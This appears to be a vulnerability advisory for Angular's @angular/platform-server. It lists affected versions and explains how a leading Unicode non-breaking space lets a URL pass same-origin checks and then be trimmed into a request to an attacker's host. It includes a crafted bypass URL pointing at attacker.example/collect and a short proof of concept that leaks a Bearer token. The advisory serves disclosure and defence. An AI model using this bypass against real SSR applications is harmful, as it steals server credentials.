Packages / @angular/platform-server / Security
Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR
Affected releases · @angular/platform-server
- 22.x22.0.0 – 22.1.3Fixed in 22.1.4
- 21.x21.0.0 – 21.2.21Fixed in 21.2.22
- 20.x20.0.0 – 20.3.29Fixed in 20.3.30
- 19.x19.0.0 – 19.2.25No fix on this line yet
- 18.x and older2.0.0 – 18.2.14No fix, no longer updated
On 22.x, the newest line:
npm install @angular/platform-server@22.1.4Affected
22.0.0 – 22.1.3
13 releases
Fixed
22.1.4 – 22.2.3
9 releases, latest
Affected
21.0.0 – 21.2.21
39 releases
Fixed
21.2.22 – 21.2.25
4 releases
Affected
20.0.0 – 20.3.29
51 releases
Fixed
20.3.30 – 20.3.34
5 releases
Affected
19.0.0 – 19.2.25
43 releases
Affected
18.0.0 – 18.2.14
29 releases
Affected
17.0.0 – 17.3.12
32 releases
Affected
16.0.0 – 16.2.12
30 releases
Affected
15.0.0 – 15.2.10
22 releases
Affected
14.0.0 – 14.3.0
26 releases
Affected
13.0.0 – 13.4.0
30 releases
Affected
12.0.0 – 12.2.17
30 releases
Affected
11.0.0 – 11.2.14
28 releases
Affected
10.0.0 – 10.2.5
28 releases
Affected
9.0.0 – 9.1.13
22 releases
Affected
8.0.0 – 8.2.14
23 releases
Affected
7.0.0 – 7.2.16
27 releases
Affected
6.0.0 – 6.1.10
20 releases
Affected
5.0.0 – 5.2.11
22 releases
Affected
4.0.0 – 4.4.7
29 releases
Affected
2.0.0 – 2.4.10
24 releases
Is your project affected?
Paste your package.json, or type the range you declare for @angular/platform-server. It is read in your browser and sent nowhere.
What happens
Summary
A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.
Technical Description
When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.
However, @angular/platform-server's URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript's String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.
Impact & Reachability
Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's
HttpClient, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests.Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.
Proof of Concept:
// Interceptor performing same-origin validation
const trustedOrigin = new URL('http://localhost:4000/');
const target = new URL(req.urlWithParams, trustedOrigin);
if (target.origin !== trustedOrigin.origin) {
throw new Error('Cross-origin request blocked');
}
// Request passes validation, server attaches sensitive credential:
const authenticatedReq = req.clone({
headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),
});
// @angular/platform-server previously trimmed the URL, converting it into
// //attacker.example/collect and routing the credential to the attacker.Workarounds
Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as
\u00A0) before performing origin checks or passing them toHttpClient.Avoid relying solely on
new URL(input, trustedOrigin).originfor authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.